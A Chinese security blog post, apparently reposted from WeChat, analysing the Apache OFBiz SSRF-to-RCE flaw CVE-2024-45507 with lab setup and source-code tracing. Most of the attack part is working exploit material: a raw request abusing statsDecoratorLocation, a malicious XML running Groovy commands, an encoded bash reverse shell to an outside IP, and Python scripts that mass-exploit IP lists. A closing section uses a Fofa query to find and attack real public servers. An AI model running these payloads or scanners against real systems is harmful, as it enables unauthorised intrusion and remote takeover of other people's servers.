CVE-2024-45507分析学习(Poc,EXP)

admin 2024年10月9日23:03:35评论44 views字数 10054阅读33分30秒阅读模式

NEWS TODAY

本篇文章大纲:

1、漏洞介绍

2、环境搭建

3、漏洞复现

4、Poc与EXP编写

5、漏洞产生源码分析

7、公网实战运用

Apache OFBiz介绍

该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。

漏洞描述

该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。

漏洞影响范围

version < 18.12.16

源码下载

https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz

环境搭建

这里我是用Debian进行搭建,我们直接运行目录下的gradlew文件,如果是Windows系统就需要运行gradlew.bat

安装:

./gradle/init-gradle-wrapper.sh

./gradlew cleanAll loadAll

./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin

如果访问不了可以尝试添加可以访问的白名单

vim framework/security/config/security.properties

找到host-headers-allowed添加访问时的IP头

运行之前记得先加上执行权限

CVE-2024-45507分析学习(Poc,EXP)

最后运行命令:

./gradlew ofbiz

CVE-2024-45507分析学习(Poc,EXP)

之后出现这样的提示,我们就需要等大概几分钟,让他加载,直到提示

CVE-2024-45507分析学习(Poc,EXP)

这样就可以了。

访问靶机的IP地址

财务登录:https://192.168.195.130:8443/accounting

管理员地址:https://localhost:8443/webtools

订单登录:https://localhost:8443/ordermgr

默认登录用户名密码:admin/ofbiz

漏洞利用

漏洞是通过ssrf方式进行入侵,也就是说我们需要通过对方服务器,对外发起请求,那么我们就需要在一台服务器上,架设一个XML文件,用以对方远程加载,同时XML文件中包含命令执行语句,以此来加载RCE操作。

复现测试

这里我配置之后,通过发送数据包

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 192.168.195.130:8443
Content-Length: 55
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: https://192.168.195.130:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.195.130:8443/webtools/control/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

statsDecoratorLocation=http://101.43.1.181:8000

CVE-2024-45507分析学习(Poc,EXP)

CVE-2024-45507分析学习(Poc,EXP)

这里编写一个测试的rce.xml,测试看看是否可以远程执行我的xml中的命令

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'curl 101.43.1.181:8888'.execute();}"/>
</actions>
</section>
</screen>
</screens>

我这里首先在我服务器中开启python的远程下载服务,配置8000端口,提供xml进行远程执行,执行命令为访问我服务器的8888端口,同时我开始python远程8888端口来监测命令是否执行。

CVE-2024-45507分析学习(Poc,EXP)

可以成功的访问并且执行。

Payload编写

payload编写这里,我使用python进行模拟发包

#!/usr/bin/env python3import requestsimport reimport urllib3import concurrent.futures# 忽略不安全的 HTTPS 请求警告urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)# 读取 IP 地址with open('ip.txt', 'r') as file:    ips = file.read().splitlines()url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"headers = {    "Content-Length": "55",    "Cache-Control": "max-age=0",    "Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',    "Sec-Ch-Ua-Mobile": "?0",    "Sec-Ch-Ua-Platform": '"Windows"',    "Accept-Language": "zh-CN",    "Upgrade-Insecure-Requests": "1",    "Content-Type": "application/x-www-form-urlencoded",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",    "Sec-Fetch-Site": "same-origin",    "Sec-Fetch-Mode": "navigate",    "Sec-Fetch-User": "?1",    "Sec-Fetch-Dest": "document",    "Accept-Encoding": "gzip, deflate, br",    "Connection": "keep-alive"}data = {    "statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"}# 正则表达式用于完全匹配特定字符串pattern = re.compile(r"<!-- Begin Screen http://101.43.1.181:8000/rce.xml#StatsDecorator -->")matched_ips = []# 发送请求的函数def send_request(ip):    url = url_template.format(ip=ip)    headers["Origin"] = f"https://{ip}:8443"    headers["Referer"] = f"https://{ip}:8443/webtools/control/login"    try:        response = requests.post(url, headers=headers, data=data, verify=False)  # verify=False 禁用 SSL 验证        # 检查回显包是否包含指定的完全匹配内容        if pattern.search(response.text):            print(f"Matched response from {ip}")            return ip        else:            print(f"No match for {ip}")            return None    except requests.exceptions.RequestException as e:        print(f"Error connecting to {ip}: {e}")        return None# 使用多线程执行请求,max_workers设置线程数量with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:    futures = [executor.submit(send_request, ip) for ip in ips]    for future in concurrent.futures.as_completed(futures):        result = future.result()        if result:            matched_ips.append(result)# 将匹配的 IP 地址输出到 out.txtif matched_ips:    with open('out.txt', 'w') as outfile:        outfile.write("n".join(matched_ips))    print("Matching IPs have been written to out.txt")else:    print("No IP returned a matching response.")

EXP编写

首先我们需要反弹shell的命令

bash -i >& /dev/tcp/101.43.1.181/9999 0>&1

然后将这个shell进行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx

再将这个base64加密后的放置在下面的代码中

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

最后将上面的代码进行Unicode加密

u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0044u0045u0075u004Eu0044u004Du0075u004Du0053u0034u0078u004Fu0044u0045u0076u004Fu0054u006Bu0035u004Fu0053u0041u0077u0050u0069u0059u0078u007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D

该漏洞目前已知情况是需要出网的,我们在攻击之前需要在攻击的主机上架设xml来远程加载执行。

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0044u0045u0075u004Eu0044u004Du0075u004Du0053u0034u0078u004Fu0044u0045u0076u004Fu0054u006Bu0035u004Fu0053u0041u0077u0050u0069u0059u0078u007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D'.execute();}"/>
</actions>
</section>
</screen>
</screens>

CVE-2024-45507分析学习(Poc,EXP)

源码分析

大致漏洞情况分析

参考网上的漏洞分析,该漏洞主要是两个方面引发的问题,首先是可以引入外部远程文件来渲染screen

根据xml的配置文件,我们编写payload格式就基于下面的配置文件格式

CVE-2024-45507分析学习(Poc,EXP)

groovy是用于设置加载字段的值,但是我们也可以在后面构造命令可以使其命令执行。这样就可以编写我们的payload。

分析一下漏洞产生的第二个原因

从网上资料来看,该漏洞另一个原因在于eventReturn,只要这个里判断为true,即可调用findTemporalExpression

CVE-2024-45507分析学习(Poc,EXP)

那么我们理解一下这里,反推一下,我们想要findTemporalExpression能被调用,就要查看哪些路由可以直接调用,也就是返回true。

经过测试,两个目录下可以返回true

/webtools/control/main/findTemporalExpression/webtools/control/forgotPassword/findTemporalExpression

也就是说,在这两个路由下,均可以在未授权的情况下处理findTemporalExpression(也就是xml配置文件中的screen名)。

而findTemporalExpression中的参数又可以调用外部的xml执行

CVE-2024-45507分析学习(Poc,EXP)

那么再往上看,其实我们就只需要进行一点, 那就是看看哪些路由可以在未授权的情况下去调用findTemporalExpression。

分析renderView方法

该方法的上层逻辑,首先是上面登录路由判断的方法中,会判断你登陆的一个状态,返回的三种不同的值:success、requirePasswordChange、error,然后eventReturn会根据上面三种不同值进行判断,来确定renderView函数传递什么内容。

那么renderView又实现哪些功能呢。首先是renderView值在controller.xml获取xml配置,然后从xml配置文件中会指向TempExprScreens.xml这个配置文件,那么TempExprScreens.xml这个配置文件,其中涉及到findTemporalExpression的值中就包含了tempExprDecoratorLocation这个参数,类似于payload中statsDecoratorLocation参数,都可以从外部引入xml。

为什么使用statsDecoratorLocation作为payload

这里我们定位到参数的位置,可以看到参数属于webtools/widget

该参数再文件中主要用于动态指定装饰器模板,也就是说,再我们引用他,该参数可以执行一个外部的装饰器模板文件,该文件可以决定界面的元素,比如页面结构,样式或者布局。

那么我们通过模仿他内部装饰器的编写方式,可以写出payload。

${parameters.statsDecoratorLocation}  在正常情况下可以让页面在同一个页面中复用不同的装饰器模板。

分析流程总结

首先SSRF漏洞的原因,就是因为客户端对用户输入的参数未进行严格校验,也就是说我们的statsDecoratorLocation参数,从外部引入模板,在findTemporalExpression,forgotPassword两个路由下,可以通过校验,eventReturn返回true即可通过校验,可以在这两个路由下,构造statsDecoratorLocation参数(或者其他可利用参数),远程调用xml文件。主要代码流程如下:

1、首先了解了login路由登陆后的三种不同登录状态判断方法

2、eventReturn参数会根据登录状态不同传递给renderView函数具体的内容

3、如果eventReturn判断为true,那么就可以通过renderView进行调用xml配置文件

4、成功调用配置文件后,会调用到配置文件中的findTemporalExpression,这其中的参数 ${parameters.statsDecoratorLocation} 可以调用外部的xml来渲染。

5、最后测试出哪些路由可以在未授权的情况下,eventReturn会判断正确,那么这些路由就可以进行远程xml的调用。

公网实战漏洞寻找

Fofa语句

"Apache OFBiz" && port="8443" && country="CN"

漏洞批量利用

这里我下载一些下来,保存为txt文件

使用上面写的payload可以进行批量获取。

使用方式,首先需要在一台公网服务器上开启一个类似dnslog用于接收回显的服务端,我这里使用的是服务器中python的http server

所以我构造的逻辑是

1、首先我们需要忽略掉不安全的https警告,不然无法访问

2、从txt中读取IP地址,替换掉payload数据包中的IP

3、正则匹配回显值

4、遍历所有IP并且发送请求,检查回显是否存在正则匹配的内容,返回是否匹配

5、最后将匹配的结果输出到out.txt中

#!/usr/bin/env python3
# -*- coding: cp936 -*-
import requests
import re
import urllib3

# 忽略不安全的 HTTPS 请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 读取 IP 地址
with open('ip.txt', 'r') as file:
ips = file.read().splitlines()

url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"
headers = {
"Content-Length": "55",
"Cache-Control": "max-age=0",
"Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Accept-Language": "zh-CN",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}

data = {
"statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"
}

# 正则表达式用于完全匹配特定字符串
pattern = re.compile(r"<!-- Begin Screen http://101.43.1.181:8000/rce.xml#StatsDecorator -->")

matched_ips = []

# 遍历所有 IP 并发送请求
for ip in ips:
url = url_template.format(ip=ip)
headers["Origin"] = f"https://{ip}:8443"
headers["Referer"] = f"https://{ip}:8443/webtools/control/login"

try:
response = requests.post(url, headers=headers, data=data, verify=False) # verify=False 禁用 SSL 验证

# 检查回显包是否包含指定的完全匹配内容
if pattern.search(response.text):
print(f"匹配参数IP:{ip}")
matched_ips.append(ip)
else:
print(f"不匹配IP:{ip}")

except requests.exceptions.RequestException as e:
print(f"错误IP,连接不通{ip}: {e}")

# 将匹配的 IP 地址输出到 out.txt
if matched_ips:
with open('out.txt', 'w') as outfile:
outfile.write("n".join(matched_ips))
print("漏洞IP已保存至out.txt")
else:
print("没有含有漏洞的IP地址")

CVE-2024-45507分析学习(Poc,EXP)

原文始发于微信公众号(白安全组):CVE-2024-45507分析学习(Poc,EXP)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日23:03:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-45507分析学习(Poc,EXP)http://cn-sec.com/archives/3246057.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息